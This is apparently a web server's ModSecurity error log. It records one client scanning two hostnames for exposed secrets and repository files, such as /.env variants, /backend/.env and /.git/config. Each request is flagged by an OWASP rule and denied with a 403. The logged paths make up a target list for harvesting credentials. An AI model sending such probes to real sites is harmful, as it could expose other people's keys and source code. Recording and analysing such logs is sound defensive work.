[Mon Oct 26 06:11:58.309229 2026] [security2:error] [pid 3008498:tid 3008498] [client 45.138.12.52:37624] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp4.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "at8nbnWyvchEwsg-8-hngwAAAAs"]
[Mon Oct 26 06:11:58.473815 2026] [security2:error] [pid 3000174:tid 3000174] [client 45.138.12.52:37608] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at8nbvEaLLDWHqkTH2BICAAAABk"]
[Mon Oct 26 06:11:58.474069 2026] [security2:error] [pid 3000174:tid 3000174] [client 45.138.12.52:37608] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at8nbvEaLLDWHqkTH2BICAAAABk"]
[Mon Oct 26 06:11:58.474405 2026] [security2:error] [pid 3000174:tid 3000174] [client 45.138.12.52:37608] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at8nbvEaLLDWHqkTH2BICAAAABk"]
[Mon Oct 26 06:11:58.656985 2026] [security2:error] [pid 3000174:tid 3000174] [client 45.138.12.52:37608] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at8nbvEaLLDWHqkTH2BICQAAABk"]
[Mon Oct 26 06:11:58.657245 2026] [security2:error] [pid 3000174:tid 3000174] [client 45.138.12.52:37608] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at8nbvEaLLDWHqkTH2BICQAAABk"]
[Mon Oct 26 06:11:58.657568 2026] [security2:error] [pid 3000174:tid 3000174] [client 45.138.12.52:37608] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at8nbvEaLLDWHqkTH2BICQAAABk"]
[Mon Oct 26 06:11:58.669067 2026] [security2:error] [pid 3008498:tid 3008498] [client 45.138.12.52:37624] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp4.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at8nbnWyvchEwsg-8-hnhQAAAAs"]
[Mon Oct 26 06:11:58.669241 2026] [security2:error] [pid 3008498:tid 3008498] [client 45.138.12.52:37624] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp4.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at8nbnWyvchEwsg-8-hnhQAAAAs"]
[Mon Oct 26 06:11:58.669513 2026] [security2:error] [pid 3008498:tid 3008498] [client 45.138.12.52:37624] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp4.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at8nbnWyvchEwsg-8-hnhQAAAAs"]
[Mon Oct 26 06:11:58.893919 2026] [security2:error] [pid 3000174:tid 3000174] [client 45.138.12.52:37608] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp3.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "at8nbvEaLLDWHqkTH2BICgAAABk"]
[Mon Oct 26 06:11:58.894192 2026] [security2:error] [pid 3000174:tid 3000174] [client 45.138.12.52:37608] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp3.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "at8nbvEaLLDWHqkTH2BICgAAABk"]
[Mon Oct 26 06:11:58.894526 2026] [security2:error] [pid 3000174:tid 3000174] [client 45.138.12.52:37608] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp3.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "at8nbvEaLLDWHqkTH2BICgAAABk"]
[Mon Oct 26 06:11:58.920246 2026] [security2:error] [pid 3008498:tid 3008498] [client 45.138.12.52:37624] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp4.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at8nbnWyvchEwsg-8-hnhgAAAAs"]
[Mon Oct 26 06:11:58.920421 2026] [security2:error] [pid 3008498:tid 3008498] [client 45.138.12.52:37624] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp4.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at8nbnWyvchEwsg-8-hnhgAAAAs"]
[Mon Oct 26 06:11:58.920805 2026] [security2:error] [pid 3008498:tid 3008498] [client 45.138.12.52:37624] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp4.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at8nbnWyvchEwsg-8-hnhgAAAAs"]
[Mon Oct 26 06:11:59.856908 2026] [security2:error] [pid 3008498:tid 3008498] [client 45.138.12.52:37624] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp4.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at8nb3WyvchEwsg-8-hnhwAAAAs"]
[Mon Oct 26 06:11:59.857190 2026] [security2:error] [pid 3008498:tid 3008498] [client 45.138.12.52:37624] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp4.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at8nb3WyvchEwsg-8-hnhwAAAAs"]
[Mon Oct 26 06:11:59.857466 2026] [security2:error] [pid 3008498:tid 3008498] [client 45.138.12.52:37624] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp4.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at8nb3WyvchEwsg-8-hnhwAAAAs"]
[Mon Oct 26 06:11:59.877042 2026] [security2:error] [pid 3000174:tid 3000174] [client 45.138.12.52:37608] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp3.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at8nb_EaLLDWHqkTH2BICwAAABk"]
[Mon Oct 26 06:11:59.877262 2026] [security2:error] [pid 3000174:tid 3000174] [client 45.138.12.52:37608] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp3.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at8nb_EaLLDWHqkTH2BICwAAABk"]
[Mon Oct 26 06:11:59.877531 2026] [security2:error] [pid 3000174:tid 3000174] [client 45.138.12.52:37608] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp3.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at8nb_EaLLDWHqkTH2BICwAAABk"]
[Mon Oct 26 06:12:00.080140 2026] [security2:error] [pid 3000174:tid 3000174] [client 45.138.12.52:37608] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp3.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at8ncPEaLLDWHqkTH2BIDAAAABk"]
[Mon Oct 26 06:12:00.080364 2026] [security2:error] [pid 3000174:tid 3000174] [client 45.138.12.52:37608] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp3.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at8ncPEaLLDWHqkTH2BIDAAAABk"]
[Mon Oct 26 06:12:00.080635 2026] [security2:error] [pid 3000174:tid 3000174] [client 45.138.12.52:37608] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp3.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at8ncPEaLLDWHqkTH2BIDAAAABk"]
[Mon Oct 26 06:12:00.089651 2026] [security2:error] [pid 3008498:tid 3008498] [client 45.138.12.52:37624] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp4.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at8ncHWyvchEwsg-8-hniAAAAAs"]
[Mon Oct 26 06:12:00.089869 2026] [security2:error] [pid 3008498:tid 3008498] [client 45.138.12.52:37624] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp4.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at8ncHWyvchEwsg-8-hniAAAAAs"]
[Mon Oct 26 06:12:00.090137 2026] [security2:error] [pid 3008498:tid 3008498] [client 45.138.12.52:37624] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp4.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at8ncHWyvchEwsg-8-hniAAAAAs"]
[Mon Oct 26 06:12:00.349490 2026] [security2:error] [pid 3008498:tid 3008498] [client 45.138.12.52:37624] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp4.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at8ncHWyvchEwsg-8-hniQAAAAs"]
[Mon Oct 26 06:12:00.349731 2026] [security2:error] [pid 3008498:tid 3008498] [client 45.138.12.52:37624] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp4.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at8ncHWyvchEwsg-8-hniQAAAAs"]
[Mon Oct 26 06:12:00.350155 2026] [security2:error] [pid 3008498:tid 3008498] [client 45.138.12.52:37624] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp4.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at8ncHWyvchEwsg-8-hniQAAAAs"]
[Mon Oct 26 06:12:01.451690 2026] [security2:error] [pid 3008498:tid 3008498] [client 45.138.12.52:37624] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp4.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "at8ncXWyvchEwsg-8-hnigAAAAs"]
[Mon Oct 26 06:12:01.451960 2026] [security2:error] [pid 3008498:tid 3008498] [client 45.138.12.52:37624] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp4.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "at8ncXWyvchEwsg-8-hnigAAAAs"]
[Mon Oct 26 06:12:01.452288 2026] [security2:error] [pid 3008498:tid 3008498] [client 45.138.12.52:37624] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp4.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "at8ncXWyvchEwsg-8-hnigAAAAs"]
[Mon Oct 26 06:12:01.701629 2026] [security2:error] [pid 3000174:tid 3000174] [client 45.138.12.52:37608] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp3.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at8ncfEaLLDWHqkTH2BIDwAAABk"]
[Mon Oct 26 06:12:01.701858 2026] [security2:error] [pid 3000174:tid 3000174] [client 45.138.12.52:37608] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp3.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at8ncfEaLLDWHqkTH2BIDwAAABk"]
[Mon Oct 26 06:12:01.702138 2026] [security2:error] [pid 3000174:tid 3000174] [client 45.138.12.52:37608] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp3.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at8ncfEaLLDWHqkTH2BIDwAAABk"]
[Mon Oct 26 06:12:02.003308 2026] [proxy_fcgi:error] [pid 3000174:tid 3000174] [client 45.138.12.52:37608] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 06:12:02.892935 2026] [security2:error] [pid 3000174:tid 3000174] [client 45.138.12.52:37608] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp3.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at8ncvEaLLDWHqkTH2BIEQAAABk"]
[Mon Oct 26 06:12:02.893181 2026] [security2:error] [pid 3000174:tid 3000174] [client 45.138.12.52:37608] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp3.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at8ncvEaLLDWHqkTH2BIEQAAABk"]
